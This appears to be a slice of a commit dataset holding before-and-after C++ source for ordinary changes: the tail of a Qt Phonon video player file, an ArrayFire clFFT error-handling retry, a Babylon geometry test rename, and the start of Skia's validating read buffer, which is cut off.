&session, const RWindowBase &window)\n{\n RDirectScreenAccess dsa(session);\n TInt err = dsa.Construct();\n CDummyAO ao;\n RRegion* region;\n err = dsa.Request(region, ao.Status(), window);\n ao.SetActive();\n dsa.Close();\n ao.Cancel();\n if (region) {\n qDebug() << \"Phonon::MMF::getDsaRegion count\" << region->Count();\n for (int i=0; i<region->Count(); ++i) {\n const TRect& rect = region->RectangleList()[i];\n qDebug() << \"Phonon::MMF::getDsaRegion rect\"\n << rect.iTl.iX << rect.iTl.iY << rect.iBr.iX << rect.iBr.iY;\n }\n region->Close();\n }\n}\n\n#endif \/\/ QT_NO_DEBUG\n\nvoid MMF::DsaVideoPlayer::handleParametersChanged(VideoParameters parameters)\n{\n TRACE_CONTEXT(DsaVideoPlayer::handleParametersChanged, EVideoInternal);\n TRACE_ENTRY_0();\n\n if (!m_window)\n return;\n\n#ifndef QT_NO_DEBUG\n getDsaRegion(m_wsSession, *m_window);\n#endif\n\n static const TBool antialias = ETrue;\n int err = KErrNone;\n\n if (parameters & ScaleFactors) {\n TRAP(err, m_player->SetScaleFactorL(m_scaleWidth, m_scaleHeight,\n antialias));\n if(KErrNone != err) {\n TRACE(\"SetScaleFactorL (1) err %d\", err);\n setError(tr(\"Video display error\"), err);\n }\n }\n\n if (KErrNone == err) {\n if (parameters & WindowHandle || parameters & WindowScreenRect) {\n TRAP(err,\n m_player->SetDisplayWindowL(m_wsSession, m_screenDevice,\n *m_window,\n m_videoScreenRect,\n m_videoScreenRect));\n }\n\n if (KErrNone != err) {\n TRACE(\"SetDisplayWindowL err %d\", err);\n setError(tr(\"Video display error\"), err);\n } else {\n m_dsaActive = true;\n if (parameters & ScaleFactors) {\n TRAP(err, m_player->SetScaleFactorL(m_scaleWidth, m_scaleHeight,\n antialias));\n if (KErrNone != err) {\n TRACE(\"SetScaleFactorL (2) err %d\", err);\n setError(tr(\"Video display error\"), err);\n }\n }\n }\n }\n\n TRACE_EXIT_0();\n}\n\nvoid MMF::DsaVideoPlayer::startDirectScreenAccess()\n{\n if (!m_dsaActive) {\n TRAPD(err, m_player->StartDirectScreenAccessL());\n if (KErrNone == err)\n m_dsaActive = true;\n else\n setError(tr(\"Video display error\"), err);\n }\n}\n\nbool MMF::DsaVideoPlayer::stopDirectScreenAccess()\n{\n const bool dsaWasActive = m_dsaActive;\n if (m_dsaActive) {\n TRAPD(err, m_player->StopDirectScreenAccessL());\n if (KErrNone == err)\n m_dsaActive = false;\n else\n setError(tr(\"Video display error\"), err);\n }\n return dsaWasActive;\n}\n\nQT_END_NAMESPACE\n\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************\n * Copyright (c) 2014, ArrayFire\n * All rights reserved.\n *\n * This file is distributed under 3-clause BSD license.\n * The complete license agreement can be obtained at:\n * http:\/\/arrayfire.com\/licenses\/BSD-3-Clause\n ********************************************************\/\n\n#include <af\/dim4.hpp>\n#include <af\/defines.h>\n#include <ArrayInfo.hpp>\n#include <Array.hpp>\n#include <copy.hpp>\n#include <fft.hpp>\n#include <err_opencl.hpp>\n#include <clFFT.h>\n#include <math.hpp>\n#include <string>\n#include <cstdio>\n\nusing af::dim4;\nusing std::string;\n\nnamespace opencl\n{\n\n#define CLFFT_ERROR_CHECK(call) do { \\\n clfftStatus err = (call); \\\n if (err!=CLFFT_SUCCESS) \\\n AF_ERROR(\"clFFT library call failed\", \\\n AF_ERR_INTERNAL); \\\n } while(0);\n\n\/\/ clFFTPlanner will do very basic plan caching.\n\/\/ it looks for required candidate in mHandles array and returns if found one.\n\/\/ otherwise, it will create a plan and set it at the mAvailSlotIndex and increment\n\/\/ the slot index variable in ciruclar fashion 0 to MAX_PLAN_CACHE, then back to zero and repeat.\nclass clFFTPlanner\n{\n friend void find_clfft_plan(clfftPlanHandle &plan,\n clfftDim rank, size_t *clLengths,\n size_t *istrides, size_t idist,\n size_t *ostrides, size_t odist,\n clfftPrecision precision, size_t batch);\n\n public:\n static clFFTPlanner& getInstance() {\n static clFFTPlanner single_instance;\n return single_instance;\n }\n\n ~clFFTPlanner() {\n clfftTeardown();\n }\n\n private:\n clFFTPlanner() : mAvailSlotIndex(0) {\n clfftInitSetupData(&fftSetup);\n clfftSetup(&fftSetup);\n for(int p=0; p<MAX_PLAN_CACHE; ++p)\n mHandles[p] = 0;\n }\n clFFTPlanner(clFFTPlanner const&);\n void operator=(clFFTPlanner const&);\n\n static const int MAX_PLAN_CACHE = 5;\n\n int mAvailSlotIndex;\n string mKeys[MAX_PLAN_CACHE];\n\n clfftPlanHandle mHandles[MAX_PLAN_CACHE];\n\n clfftSetupData fftSetup;\n};\n\nvoid find_clfft_plan(clfftPlanHandle &plan,\n clfftDim rank, size_t *clLengths,\n size_t *istrides, size_t idist,\n size_t *ostrides, size_t odist,\n clfftPrecision precision, size_t batch)\n{\n clFFTPlanner &planner = clFFTPlanner::getInstance();\n\n \/\/ create the key string\n char key_str_temp[64];\n sprintf(key_str_temp, \"%d:\", rank);\n\n string key_string(key_str_temp);\n\n for(int r=0; r<rank; ++r) {\n sprintf(key_str_temp, \"%zu:\", clLengths[r]);\n key_string.append(std::string(key_str_temp));\n }\n\n if(istrides!=NULL) {\n for(int r=0; r<rank; ++r) {\n sprintf(key_str_temp, \"%zu:\", istrides[r]);\n key_string.append(std::string(key_str_temp));\n }\n sprintf(key_str_temp, \"%zu:\", idist);\n key_string.append(std::string(key_str_temp));\n }\n\n if (ostrides!=NULL) {\n for(int r=0; r<rank; ++r) {\n sprintf(key_str_temp, \"%zu:\", ostrides[r]);\n key_string.append(std::string(key_str_temp));\n }\n sprintf(key_str_temp, \"%zu:\", odist);\n key_string.append(std::string(key_str_temp));\n }\n\n sprintf(key_str_temp, \"%d:%zu\", (int)precision, batch);\n key_string.append(std::string(key_str_temp));\n\n \/\/ find the matching plan_index in the array clFFTPlanner::mKeys\n int plan_index = -1;\n for (int i=0; i<clFFTPlanner::MAX_PLAN_CACHE; ++i) {\n if (key_string==planner.mKeys[i]) {\n plan_index = i;\n break;\n }\n }\n\n \/\/ return mHandles[plan_index] if plan_index valid\n if (plan_index!=-1) {\n plan = planner.mHandles[plan_index];\n return;\n }\n\n \/\/ otherwise create a new plan and set it at mAvailSlotIndex\n \/\/ and finally set it to output plan variable\n int slot_index = planner.mAvailSlotIndex;\n\n clfftStatus res = CLFFT_SUCCESS;\n\n if (planner.mHandles[slot_index]) {\n res = clfftDestroyPlan(&planner.mHandles[slot_index]);\n planner.mHandles[slot_index] = 0;\n }\n\n if (res==CLFFT_SUCCESS) {\n clfftPlanHandle temp;\n\n \/\/ getContext() returns object of type Context\n \/\/ Context() returns the actual cl_context handle\n clfftStatus res = clfftCreateDefaultPlan(&temp, getContext()(), rank, clLengths);\n\n switch(res) {\n case CLFFT_INVALID_CONTEXT : AF_ERROR(\"clFFT: invalid context \", AF_ERR_INTERNAL);\n case CLFFT_INVALID_PLATFORM : AF_ERROR(\"clFFT: invalid platform \", AF_ERR_INTERNAL);\n case CLFFT_OUT_OF_HOST_MEMORY: AF_ERROR(\"clFFT: out of host memory\", AF_ERR_INTERNAL);\n case CLFFT_OUT_OF_RESOURCES : AF_ERROR(\"clFFT: out of resources \", AF_ERR_INTERNAL);\n case CLFFT_MEM_OBJECT_ALLOCATION_FAILURE:\n AF_ERROR(\"clFFT: mem object allocation failure\", AF_ERR_INTERNAL);\n case CLFFT_NOTIMPLEMENTED : AF_ERROR(\"clFFt: feature not implemented\", AF_ERR_INTERNAL);\n case CLFFT_SUCCESS:\n {\n res = clfftSetLayout(temp, CLFFT_COMPLEX_INTERLEAVED, CLFFT_COMPLEX_INTERLEAVED);\n res = clfftSetPlanBatchSize(temp, batch);\n res = clfftSetPlanDistance(temp, idist, odist);\n res = clfftSetPlanInStride(temp, rank, istrides);\n res = clfftSetPlanOutStride(temp, rank, ostrides);\n res = clfftSetPlanPrecision(temp, precision);\n res = clfftSetResultLocation(temp, CLFFT_INPLACE);\n\n \/\/ getQueue() returns object of type CommandQueue\n \/\/ CommandQueue() returns the actual cl_command_queue handle\n res = clfftBakePlan(temp, 1, &(getQueue()()), NULL, NULL);\n\n plan = temp;\n planner.mHandles[slot_index] = temp;\n planner.mKeys[slot_index] = key_string;\n planner.mAvailSlotIndex = (slot_index + 1)%clFFTPlanner::MAX_PLAN_CACHE;\n }\n break;\n default: AF_ERROR(\"clFFT: unkown error\", AF_ERR_INTERNAL);\n }\n } else\n AF_ERROR(\"clFFTDestroyPlan call failed\", AF_ERR_INTERNAL);\n}\n\ntemplate<typename T> struct Precision;\ntemplate<> struct Precision<cfloat > { enum {type = CLFFT_SINGLE}; };\ntemplate<> struct Precision<cdouble> { enum {type = CLFFT_DOUBLE}; };\n\ntemplate<typename T, int rank, clfftDirection direction>\nvoid clfft_common(Array<T> &arr)\n{\n const dim4 dims = arr.dims();\n const dim4 strides = arr.strides();\n size_t io_strides[]= {(size_t)strides[0],\n (size_t)strides[1],\n (size_t)strides[2],\n (size_t)strides[3]};\n\n size_t rank_dims[3] = {(size_t)dims[0], (size_t)dims[1], (size_t)dims[2]};\n\n clfftPlanHandle plan;\n\n find_clfft_plan(plan, (clfftDim)rank, rank_dims,\n io_strides, io_strides[rank],\n io_strides, io_strides[rank],\n (clfftPrecision)Precision<T>::type,\n dims[rank]);\n\n CLFFT_ERROR_CHECK( clfftEnqueueTransform(plan, direction, 1, &(getQueue()()), 0, NULL, NULL, &((*arr.get())()), NULL, NULL) );\n}\n\ntemplate<int rank>\nvoid computePaddedDims(dim4 &pdims, dim_type const * const pad)\n{\n if (rank==1) {\n pdims[0] = pad[0];\n } else if (rank==2) {\n pdims[0] = pad[0];\n pdims[1] = pad[1];\n } else if (rank==3) {\n pdims[0] = pad[0];\n pdims[1] = pad[1];\n pdims[2] = pad[2];\n }\n}\n\n\/\/(currently) true is in clFFT if length is a power of 2,3,5\ninline bool isSupLen(dim_type length)\n{\n while( length > 1 )\n {\n if( length % 2 == 0 )\n length \/= 2;\n else if( length % 3 == 0 )\n length \/= 3;\n else if( length % 5 == 0 )\n length \/= 5;\n else\n return false;\n }\n return true;\n}\n\ntemplate<typename inType, typename outType, int rank, bool isR2C>\nArray<outType> fft(Array<inType> const &in, double norm_factor, dim_type const npad, dim_type const * const pad)\n{\n ARG_ASSERT(1, (in.isOwner()==true));\n ARG_ASSERT(1, (rank>=1 && rank<=3));\n\n dim4 dims = in.dims();\n\n dim4 pdims(1);\n computePaddedDims<rank>(pdims, pad);\n pdims[rank] = in.dims()[rank];\n\n if (npad>0)\n dims = pdims;\n\n switch(rank) {\n case 1 : ARG_ASSERT(1, (isSupLen(dims[0]))); break;\n case 2 : ARG_ASSERT(2, ((isSupLen(dims[0]) || isSupLen(dims[1])))); break;\n case 3 : ARG_ASSERT(3, ((isSupLen(dims[0]) || isSupLen(dims[1]) || isSupLen(dims[2])))); break;\n default: AF_ERROR(\"invalid input dimensions\", AF_ERR_SIZE);\n }\n\n Array<outType> ret = padArray<inType, outType>(in, dims, scalar<outType>(0), norm_factor);\n\n clfft_common<outType, rank, CLFFT_FORWARD>(ret);\n\n return ret;\n}\n\ntemplate<typename T, int rank>\nArray<T> ifft(Array<T> const &in, double norm_factor, dim_type const npad, dim_type const * const pad)\n{\n ARG_ASSERT(1, (in.isOwner()==true));\n ARG_ASSERT(1, (rank>=1 && rank<=3));\n\n dim4 dims = in.dims();\n\n dim4 pdims(1);\n computePaddedDims<rank>(pdims, pad);\n pdims[rank] = in.dims()[rank];\n\n if (npad>0)\n dims = pdims;\n\n \/\/ the input norm_factor is further scaled\n \/\/ based on the input dimensions to match\n \/\/ cuFFT behavior\n for (int i=0; i<rank; i++)\n norm_factor *= dims[i];\n\n switch(rank) {\n case 1 : ARG_ASSERT(1, (isSupLen(dims[0]))); break;\n case 2 : ARG_ASSERT(2, ((isSupLen(dims[0]) || isSupLen(dims[1])))); break;\n case 3 : ARG_ASSERT(3, ((isSupLen(dims[0]) || isSupLen(dims[1]) || isSupLen(dims[2])))); break;\n default: AF_ERROR(\"invalid input dimensions\", AF_ERR_SIZE);\n }\n\n Array<T> ret = padArray<T, T>(in, dims, scalar<T>(0), norm_factor);\n\n clfft_common<T, rank, CLFFT_BACKWARD>(ret);\n\n return ret;\n}\n\n#define INSTANTIATE1(T1, T2)\\\n template Array<T2> fft <T1, T2, 1, true >(const Array<T1> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T2> fft <T1, T2, 2, true >(const Array<T1> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T2> fft <T1, T2, 3, true >(const Array<T1> &in, double norm_factor, dim_type const npad, dim_type const * const pad);\n\nINSTANTIATE1(float , cfloat )\nINSTANTIATE1(double , cdouble)\n\n#define INSTANTIATE2(T)\\\n template Array<T> fft <T, T, 1, false>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> fft <T, T, 2, false>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> fft <T, T, 3, false>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> ifft<T, 1>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> ifft<T, 2>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> ifft<T, 3>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad);\n\nINSTANTIATE2(cfloat )\nINSTANTIATE2(cdouble)\n\n}\n<commit_msg>Call garbageCollect() when CLFFT plan creation fails and try again<commit_after>\/*******************************************************\n * Copyright (c) 2014, ArrayFire\n * All rights reserved.\n *\n * This file is distributed under 3-clause BSD license.\n * The complete license agreement can be obtained at:\n * http:\/\/arrayfire.com\/licenses\/BSD-3-Clause\n ********************************************************\/\n\n#include <af\/dim4.hpp>\n#include <af\/defines.h>\n#include <ArrayInfo.hpp>\n#include <Array.hpp>\n#include <copy.hpp>\n#include <fft.hpp>\n#include <err_opencl.hpp>\n#include <clFFT.h>\n#include <math.hpp>\n#include <string>\n#include <cstdio>\n#include <memory.hpp>\n\nusing af::dim4;\nusing std::string;\n\nnamespace opencl\n{\n\nstatic void CLFFT_ERROR(clfftStatus err)\n{\n switch(err) {\n case CLFFT_INVALID_CONTEXT : AF_ERROR(\"clFFT: invalid context \", AF_ERR_INTERNAL);\n case CLFFT_INVALID_PLATFORM : AF_ERROR(\"clFFT: invalid platform \", AF_ERR_INTERNAL);\n case CLFFT_OUT_OF_HOST_MEMORY: AF_ERROR(\"clFFT: out of host memory\", AF_ERR_INTERNAL);\n case CLFFT_OUT_OF_RESOURCES : AF_ERROR(\"clFFT: out of resources \", AF_ERR_INTERNAL);\n case CLFFT_MEM_OBJECT_ALLOCATION_FAILURE:\n AF_ERROR(\"clFFT: mem object allocation failure\", AF_ERR_INTERNAL);\n case CLFFT_NOTIMPLEMENTED : AF_ERROR(\"clFFt: feature not implemented\", AF_ERR_INTERNAL);\n case CLFFT_SUCCESS: return;\n default: AF_ERROR(\"clFFT: unkown error\", AF_ERR_INTERNAL);\n }\n}\n\n#define CLFFT_CHECK(call) do { \\\n clfftStatus err = (call); \\\n if (err!=CLFFT_SUCCESS) { \\\n garbageCollect(); \\\n err = (call); \\\n } \\\n if (err != CLFFT_SUCCESS) CLFFT_ERROR(err); \\\n } while(0)\n\n\/\/ clFFTPlanner will do very basic plan caching.\n\/\/ it looks for required candidate in mHandles array and returns if found one.\n\/\/ otherwise, it will create a plan and set it at the mAvailSlotIndex and increment\n\/\/ the slot index variable in ciruclar fashion 0 to MAX_PLAN_CACHE, then back to zero and repeat.\nclass clFFTPlanner\n{\n friend void find_clfft_plan(clfftPlanHandle &plan,\n clfftDim rank, size_t *clLengths,\n size_t *istrides, size_t idist,\n size_t *ostrides, size_t odist,\n clfftPrecision precision, size_t batch);\n\n public:\n static clFFTPlanner& getInstance() {\n static clFFTPlanner single_instance;\n return single_instance;\n }\n\n ~clFFTPlanner() {\n clfftTeardown();\n }\n\n private:\n clFFTPlanner() : mAvailSlotIndex(0) {\n clfftInitSetupData(&fftSetup);\n clfftSetup(&fftSetup);\n for(int p=0; p<MAX_PLAN_CACHE; ++p)\n mHandles[p] = 0;\n }\n clFFTPlanner(clFFTPlanner const&);\n void operator=(clFFTPlanner const&);\n\n static const int MAX_PLAN_CACHE = 5;\n\n int mAvailSlotIndex;\n string mKeys[MAX_PLAN_CACHE];\n\n clfftPlanHandle mHandles[MAX_PLAN_CACHE];\n\n clfftSetupData fftSetup;\n};\n\nvoid find_clfft_plan(clfftPlanHandle &plan,\n clfftDim rank, size_t *clLengths,\n size_t *istrides, size_t idist,\n size_t *ostrides, size_t odist,\n clfftPrecision precision, size_t batch)\n{\n clFFTPlanner &planner = clFFTPlanner::getInstance();\n\n \/\/ create the key string\n char key_str_temp[64];\n sprintf(key_str_temp, \"%d:\", rank);\n\n string key_string(key_str_temp);\n\n for(int r=0; r<rank; ++r) {\n sprintf(key_str_temp, \"%zu:\", clLengths[r]);\n key_string.append(std::string(key_str_temp));\n }\n\n if(istrides!=NULL) {\n for(int r=0; r<rank; ++r) {\n sprintf(key_str_temp, \"%zu:\", istrides[r]);\n key_string.append(std::string(key_str_temp));\n }\n sprintf(key_str_temp, \"%zu:\", idist);\n key_string.append(std::string(key_str_temp));\n }\n\n if (ostrides!=NULL) {\n for(int r=0; r<rank; ++r) {\n sprintf(key_str_temp, \"%zu:\", ostrides[r]);\n key_string.append(std::string(key_str_temp));\n }\n sprintf(key_str_temp, \"%zu:\", odist);\n key_string.append(std::string(key_str_temp));\n }\n\n sprintf(key_str_temp, \"%d:%zu\", (int)precision, batch);\n key_string.append(std::string(key_str_temp));\n\n \/\/ find the matching plan_index in the array clFFTPlanner::mKeys\n int plan_index = -1;\n for (int i=0; i<clFFTPlanner::MAX_PLAN_CACHE; ++i) {\n if (key_string==planner.mKeys[i]) {\n plan_index = i;\n break;\n }\n }\n\n \/\/ return mHandles[plan_index] if plan_index valid\n if (plan_index!=-1) {\n plan = planner.mHandles[plan_index];\n return;\n }\n\n \/\/ otherwise create a new plan and set it at mAvailSlotIndex\n \/\/ and finally set it to output plan variable\n int slot_index = planner.mAvailSlotIndex;\n\n if (planner.mHandles[slot_index]) {\n CLFFT_CHECK(clfftDestroyPlan(&planner.mHandles[slot_index]));\n planner.mHandles[slot_index] = 0;\n }\n\n clfftPlanHandle temp;\n\n \/\/ getContext() returns object of type Context\n \/\/ Context() returns the actual cl_context handle\n CLFFT_CHECK(clfftCreateDefaultPlan(&temp, getContext()(), rank, clLengths));\n\n CLFFT_CHECK(clfftSetLayout(temp, CLFFT_COMPLEX_INTERLEAVED, CLFFT_COMPLEX_INTERLEAVED));\n CLFFT_CHECK(clfftSetPlanBatchSize(temp, batch));\n CLFFT_CHECK(clfftSetPlanDistance(temp, idist, odist));\n CLFFT_CHECK(clfftSetPlanInStride(temp, rank, istrides));\n CLFFT_CHECK(clfftSetPlanOutStride(temp, rank, ostrides));\n CLFFT_CHECK(clfftSetPlanPrecision(temp, precision));\n CLFFT_CHECK(clfftSetResultLocation(temp, CLFFT_INPLACE));\n\n \/\/ getQueue() returns object of type CommandQueue\n \/\/ CommandQueue() returns the actual cl_command_queue handle\n CLFFT_CHECK(clfftBakePlan(temp, 1, &(getQueue()()), NULL, NULL));\n\n plan = temp;\n planner.mHandles[slot_index] = temp;\n planner.mKeys[slot_index] = key_string;\n planner.mAvailSlotIndex = (slot_index + 1)%clFFTPlanner::MAX_PLAN_CACHE;\n}\n\ntemplate<typename T> struct Precision;\ntemplate<> struct Precision<cfloat > { enum {type = CLFFT_SINGLE}; };\ntemplate<> struct Precision<cdouble> { enum {type = CLFFT_DOUBLE}; };\n\ntemplate<typename T, int rank, clfftDirection direction>\nvoid clfft_common(Array<T> &arr)\n{\n const dim4 dims = arr.dims();\n const dim4 strides = arr.strides();\n size_t io_strides[]= {(size_t)strides[0],\n (size_t)strides[1],\n (size_t)strides[2],\n (size_t)strides[3]};\n\n size_t rank_dims[3] = {(size_t)dims[0], (size_t)dims[1], (size_t)dims[2]};\n\n clfftPlanHandle plan;\n\n find_clfft_plan(plan, (clfftDim)rank, rank_dims,\n io_strides, io_strides[rank],\n io_strides, io_strides[rank],\n (clfftPrecision)Precision<T>::type,\n dims[rank]);\n\n CLFFT_CHECK( clfftEnqueueTransform(plan, direction, 1, &(getQueue()()), 0, NULL, NULL, &((*arr.get())()), NULL, NULL) );\n}\n\ntemplate<int rank>\nvoid computePaddedDims(dim4 &pdims, dim_type const * const pad)\n{\n if (rank==1) {\n pdims[0] = pad[0];\n } else if (rank==2) {\n pdims[0] = pad[0];\n pdims[1] = pad[1];\n } else if (rank==3) {\n pdims[0] = pad[0];\n pdims[1] = pad[1];\n pdims[2] = pad[2];\n }\n}\n\n\/\/(currently) true is in clFFT if length is a power of 2,3,5\ninline bool isSupLen(dim_type length)\n{\n while( length > 1 )\n {\n if( length % 2 == 0 )\n length \/= 2;\n else if( length % 3 == 0 )\n length \/= 3;\n else if( length % 5 == 0 )\n length \/= 5;\n else\n return false;\n }\n return true;\n}\n\ntemplate<typename inType, typename outType, int rank, bool isR2C>\nArray<outType> fft(Array<inType> const &in, double norm_factor, dim_type const npad, dim_type const * const pad)\n{\n ARG_ASSERT(1, (in.isOwner()==true));\n ARG_ASSERT(1, (rank>=1 && rank<=3));\n\n dim4 dims = in.dims();\n\n dim4 pdims(1);\n computePaddedDims<rank>(pdims, pad);\n pdims[rank] = in.dims()[rank];\n\n if (npad>0)\n dims = pdims;\n\n switch(rank) {\n case 1 : ARG_ASSERT(1, (isSupLen(dims[0]))); break;\n case 2 : ARG_ASSERT(2, ((isSupLen(dims[0]) || isSupLen(dims[1])))); break;\n case 3 : ARG_ASSERT(3, ((isSupLen(dims[0]) || isSupLen(dims[1]) || isSupLen(dims[2])))); break;\n default: AF_ERROR(\"invalid input dimensions\", AF_ERR_SIZE);\n }\n\n Array<outType> ret = padArray<inType, outType>(in, dims, scalar<outType>(0), norm_factor);\n\n clfft_common<outType, rank, CLFFT_FORWARD>(ret);\n\n return ret;\n}\n\ntemplate<typename T, int rank>\nArray<T> ifft(Array<T> const &in, double norm_factor, dim_type const npad, dim_type const * const pad)\n{\n ARG_ASSERT(1, (in.isOwner()==true));\n ARG_ASSERT(1, (rank>=1 && rank<=3));\n\n dim4 dims = in.dims();\n\n dim4 pdims(1);\n computePaddedDims<rank>(pdims, pad);\n pdims[rank] = in.dims()[rank];\n\n if (npad>0)\n dims = pdims;\n\n \/\/ the input norm_factor is further scaled\n \/\/ based on the input dimensions to match\n \/\/ cuFFT behavior\n for (int i=0; i<rank; i++)\n norm_factor *= dims[i];\n\n switch(rank) {\n case 1 : ARG_ASSERT(1, (isSupLen(dims[0]))); break;\n case 2 : ARG_ASSERT(2, ((isSupLen(dims[0]) || isSupLen(dims[1])))); break;\n case 3 : ARG_ASSERT(3, ((isSupLen(dims[0]) || isSupLen(dims[1]) || isSupLen(dims[2])))); break;\n default: AF_ERROR(\"invalid input dimensions\", AF_ERR_SIZE);\n }\n\n Array<T> ret = padArray<T, T>(in, dims, scalar<T>(0), norm_factor);\n\n clfft_common<T, rank, CLFFT_BACKWARD>(ret);\n\n return ret;\n}\n\n#define INSTANTIATE1(T1, T2)\\\n template Array<T2> fft <T1, T2, 1, true >(const Array<T1> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T2> fft <T1, T2, 2, true >(const Array<T1> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T2> fft <T1, T2, 3, true >(const Array<T1> &in, double norm_factor, dim_type const npad, dim_type const * const pad);\n\nINSTANTIATE1(float , cfloat )\nINSTANTIATE1(double , cdouble)\n\n#define INSTANTIATE2(T)\\\n template Array<T> fft <T, T, 1, false>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> fft <T, T, 2, false>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> fft <T, T, 3, false>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> ifft<T, 1>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> ifft<T, 2>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad); \\\n template Array<T> ifft<T, 3>(const Array<T> &in, double norm_factor, dim_type const npad, dim_type const * const pad);\n\nINSTANTIATE2(cfloat )\nINSTANTIATE2(cdouble)\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include <gmock\/gmock.h>\n#include <gtest\/gtest.h>\n\n#include <babylon\/babylon_stl_util.h>\n#include <babylon\/engines\/null_engine.h>\n#include <babylon\/engines\/scene.h>\n#include <babylon\/meshes\/buffer.h>\n#include <babylon\/meshes\/geometry.h>\n#include <babylon\/meshes\/vertex_buffer.h>\n\nstd::unique_ptr<BABYLON::Engine> createSubject()\n{\n using namespace BABYLON;\n NullEngineOptions options;\n options.renderHeight = 256;\n options.renderWidth = 256;\n options.textureSize = 256;\n options.deterministicLockstep = false;\n options.lockstepMaxSteps = 1;\n return NullEngine::New(options);\n}\n\nTEST(TestGeometry, TestVec3FloatColor)\n{\n using namespace BABYLON;\n \/\/ vec3 float color tightly packed\n auto subject = createSubject();\n auto scene = Scene::New(subject.get());\n Float32Array data{0.4f, 0.4f, 0.4f, 0.6f, 0.6f, 0.6f,\n 0.8f, 0.8f, 0.8f, 1.f, 1.f, 1.f};\n auto buffer = std::make_unique<Buffer>(subject.get(), data, false);\n auto vertexBuffer = std::make_shared<VertexBuffer>(\n subject.get(), buffer.get(), VertexBuffer::ColorKind, false, std::nullopt,\n std::nullopt, std::nullopt, std::nullopt, 3);\n\n auto geometry = Geometry::New(\"geometry1\", scene.get());\n geometry->setVerticesBuffer(vertexBuffer);\n IndicesArray indices{0u, 1u, 2u, 3u};\n geometry->setIndices(indices, 4);\n\n auto result = geometry->getVerticesData(VertexBuffer::ColorKind);\n EXPECT_THAT(result, ::testing::ContainerEq(data));\n}\n<commit_msg>Updated Geometry unit test name<commit_after>#include <gmock\/gmock.h>\n#include <gtest\/gtest.h>\n\n#include <babylon\/babylon_stl_util.h>\n#include <babylon\/engines\/null_engine.h>\n#include <babylon\/engines\/scene.h>\n#include <babylon\/meshes\/buffer.h>\n#include <babylon\/meshes\/geometry.h>\n#include <babylon\/meshes\/vertex_buffer.h>\n\n\/**\n * @brief Create a new engine subject before each test.\n *\/\nstd::unique_ptr<BABYLON::Engine> createSubject()\n{\n using namespace BABYLON;\n NullEngineOptions options;\n options.renderHeight = 256;\n options.renderWidth = 256;\n options.textureSize = 256;\n options.deterministicLockstep = false;\n options.lockstepMaxSteps = 1;\n return NullEngine::New(options);\n}\n\nTEST(TestGeometry, TestGetVerticesData_Vec3FloatColor)\n{\n using namespace BABYLON;\n \/\/ vec3 float color tightly packed\n auto subject = createSubject();\n auto scene = Scene::New(subject.get());\n Float32Array data{0.4f, 0.4f, 0.4f, 0.6f, 0.6f, 0.6f,\n 0.8f, 0.8f, 0.8f, 1.f, 1.f, 1.f};\n auto buffer = std::make_unique<Buffer>(subject.get(), data, false);\n auto vertexBuffer = std::make_shared<VertexBuffer>(\n subject.get(), buffer.get(), VertexBuffer::ColorKind, false, std::nullopt,\n std::nullopt, std::nullopt, std::nullopt, 3);\n\n auto geometry = Geometry::New(\"geometry1\", scene.get());\n geometry->setVerticesBuffer(vertexBuffer);\n IndicesArray indices{0u, 1u, 2u, 3u};\n geometry->setIndices(indices, 4);\n\n auto result = geometry->getVerticesData(VertexBuffer::ColorKind);\n EXPECT_THAT(result, ::testing::ContainerEq(data));\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2013 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkBitmap.h\"\n#include \"SkErrorInternals.h\"\n#include \"SkValidatingReadBuffer.h\"\n#include \"SkStream.h\"\n#include \"SkTypeface.h\"\n\nSkValidatingReadBuffer::SkValidatingReadBuffer(const void* data, size_t size) :\n fError(false) {\n this->setMemory(data, size);\n this->setFlags(SkReadBuffer::kValidation_Flag);\n}\n\nSkValidatingReadBuffer::~SkValidatingReadBuffer() {\n}\n\nbool SkValidatingReadBuffer::validate(bool isValid) {\n if (!fError && !isValid) {\n \/\/ When an error is found, send the read cursor to the end of the stream\n fReader.skip(fReader.available());\n fError = true;\n }\n return !fError;\n}\n\nbool SkValidatingReadBuffer::isValid() const {\n return !fError;\n}\n\nvoid SkValidatingReadBuffer::setMemory(const void* data, size_t size) {\n this->validate(IsPtrAlign4(data) && (SkAlign4(size) == size));\n if (!fError) {\n fReader.setMemory(data, size);\n }\n}\n\nconst void* SkValidatingReadBuffer::skip(size_t size) {\n size_t inc = SkAlign4(size);\n const void* addr = fReader.peek();\n this->validate(IsPtrAlign4(addr) && fReader.isAvailable(inc));\n if (!fError) {\n fReader.skip(size);\n }\n return addr;\n}\n\n\/\/ All the methods in this file funnel down into either readInt(), readScalar() or skip(),\n\/\/ followed by a memcpy. So we've got all our validation in readInt(), readScalar() and skip();\n\/\/ if they fail they'll return a zero value or skip nothing, respectively, and set fError to\n\/\/ true, which the caller should check to see if an error occurred during the read operation.\n\nbool SkValidatingReadBuffer::readBool() {\n uint32_t value = this->readInt();\n \/\/ Boolean value should be either 0 or 1\n this->validate(!(value & ~1));\n return value != 0;\n}\n\nSkColor SkValidatingReadBuffer::readColor() {\n return this->readInt();\n}\n\nSkFixed SkValidatingReadBuffer::readFixed() {\n return this->readInt();\n}\n\nint32_t SkValidatingReadBuffer::readInt() {\n const size_t inc = sizeof(int32_t);\n 